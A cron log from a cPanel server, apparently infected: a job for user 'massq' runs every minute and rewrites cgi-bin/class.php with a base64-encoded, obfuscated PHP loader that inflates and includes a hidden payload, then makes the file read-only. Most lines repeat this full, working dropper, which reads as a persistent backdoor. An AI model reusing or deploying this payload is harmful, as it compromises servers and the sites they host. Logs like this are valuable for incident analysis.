Nov 15 07:27:01 server CROND[28740]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 15 07:27:01 server CROND[28741]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue &gt; /dev/null 2&gt;&amp;1)
Nov 15 07:28:01 server CROND[29022]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 15 07:29:01 server CROND[29283]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 15 07:30:01 server CROND[29583]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper &gt;/dev/null 2&gt;&amp;1)
Nov 15 07:30:01 server CROND[29584]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 15 07:30:01 server CROND[29585]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Nov 15 07:30:01 server CROND[29586]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths &gt;&gt; /dev/null 2&gt;&amp;1)
Nov 15 07:31:01 server CROND[30016]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 15 07:32:01 server CROND[30284]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 15 07:33:01 server CROND[30563]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 15 07:34:01 server CROND[30823]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 15 07:35:01 server CROND[31102]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper &gt;/dev/null 2&gt;&amp;1)
Nov 15 07:35:01 server CROND[31103]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2&gt;&amp;1)
Nov 15 07:35:01 server CROND[31105]: (root) CMD (/usr/bin/test -x /usr/local/cpanel/bin/tail-check &amp;&amp; /usr/local/cpanel/bin/tail-check)
Nov 15 07:35:01 server CROND[31109]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths &gt;&gt; /dev/null 2&gt;&amp;1)
Nov 15 07:35:01 server CROND[31110]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 15 07:36:01 server CROND[31581]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 15 07:37:01 server CROND[31981]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 15 07:38:01 server CROND[32248]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 15 07:39:01 server CROND[32518]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 15 07:39:01 server CROND[32519]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions &gt; /dev/null 2&gt;&amp;1)
Nov 15 07:40:01 server CROND[339]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Nov 15 07:40:01 server CROND[341]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper &gt;/dev/null 2&gt;&amp;1)
